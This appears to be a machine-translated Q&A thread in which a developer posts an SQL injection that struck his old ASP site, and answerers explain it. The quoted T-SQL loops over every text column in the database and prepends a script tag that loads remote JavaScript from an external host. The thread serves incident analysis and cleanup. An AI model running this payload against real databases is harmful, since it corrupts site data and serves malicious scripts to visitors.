Jak*_*kub 46 sql xss sql-injection asp-classic
我想在这里发帖,因为它与编码有很大关系,本周我必须在我公司的旧ASP(经典)网站上清理.
我们受到了几天前运行的SQL注入攻击的打击,但是我正在摸不着对于SQL服务器(通过这些SQL查询)的"损坏".
说实话,我认为这是非常巧妙的,并且我的公司因为拥有一个几乎没有消毒输入的旧的10年历史的网站而错.
攻击:
122 +声明+%的40s + VARCHAR%284000%29 + +设定40年代%%3Dcast%+ AS + VARCHAR%284000%29%29 + EXEC%28%40年代%29-
它解释为:( 我想要了解的)
set ansi_warnings off DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR select c.TABLE_NAME,c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t where c.DATA_TYPE in ('nvarchar','varchar','ntext','text') and c.CHARACTER_MAXIMUM_LENGTH>30 and t.table_name=c.table_name and t.table_type='BASE TABLE' OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=''"></title><script src="http://lilXXXXXXXop.com/sl.php"></script><!--''+RTRIM(CONVERT(VARCHAR(6000),['+@C+'])) where LEFT(RTRIM(CONVERT(VARCHAR(6000),['+@C+'])),17)<>''"></title><script'' ') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
Run Code Online (Sandbox Code Playgroud)
我们已经恢复了备份(预注入)并浏览了整个应用程序并清理了所有输入语句.我们的服务器是防火墙的,所以没有直接的SQL访问,但我想知道还剩下什么,我不得不承认SQL查询是我的头脑.
有人可以解决它并为我解释攻击SQL吗?
APOLOGIES我更新了完整的DUMP和SQL
rua*_*akh 57
只是为了便于阅读而格式化它将澄清很多:
set ansi_warnings off
DECLARE @T VARCHAR(255), @C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
select c.TABLE_NAME, c.COLUMN_NAME
from INFORMATION_SCHEMA.columns c,
INFORMATION_SCHEMA.tables t
where c.DATA_TYPE in ('nvarchar','varchar','ntext','text')
and c.CHARACTER_MAXIMUM_LENGTH > 30
and t.table_name = c.table_name
and t.table_type = 'BASE TABLE'
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T, @C
WHILE(@@FETCH_STATUS=0)
BEGIN
EXEC ( 'UPDATE [' + @T + ']
SET [' + @C + '] =
''"></title>'' +
''<script src="http://lilXXXXXXXop.com/sl.php"></script>'' +
''<!--'' +
RTRIM(CONVERT(VARCHAR(6000),[' + @C + ']))
WHERE LEFT(RTRIM(CONVERT(VARCHAR(6000),[' + @C + '])), 17)
<> ''"></title><script''
'
)
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
Run Code Online (Sandbox Code Playgroud)
它遍历每个表的每个文本列,并在其中插入一些HTML - 包含指向外部生成的JavaScript的指针的HTML.
Jer*_*ins 15
它循环遍历所有表中的所有列,并通过添加<script>源标记为恶意JS文件的标记来更新其值.
重要的是
DECLARE Table_Cursor CURSOR FOR
select c.TABLE_NAME,c.COLUMN_NAME from
INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t
where c.DATA_TYPE in
Run Code Online (Sandbox Code Playgroud)
我猜这里省略了一些东西,语句可能以('varchar','char','text')或类似的东西结束,所以它只是试图更新包含文本的列.他们希望其中一个栏目中的文字会被拉入你的网站,所以在他们将JS引用添加到它之后,它将被包含在各种页面的来源中.
要解决这个问题,你应该做类似的事情 - 遍历包含文本的所有列,并用空字符串替换注入的脚本.谷歌将成为你的朋友,但这里有一个非常好看的链接,应该有助于设置一个脚本来做到这一点.
| 归档时间: |
|
| 查看次数: |
3897 次 |
| 最近记录: |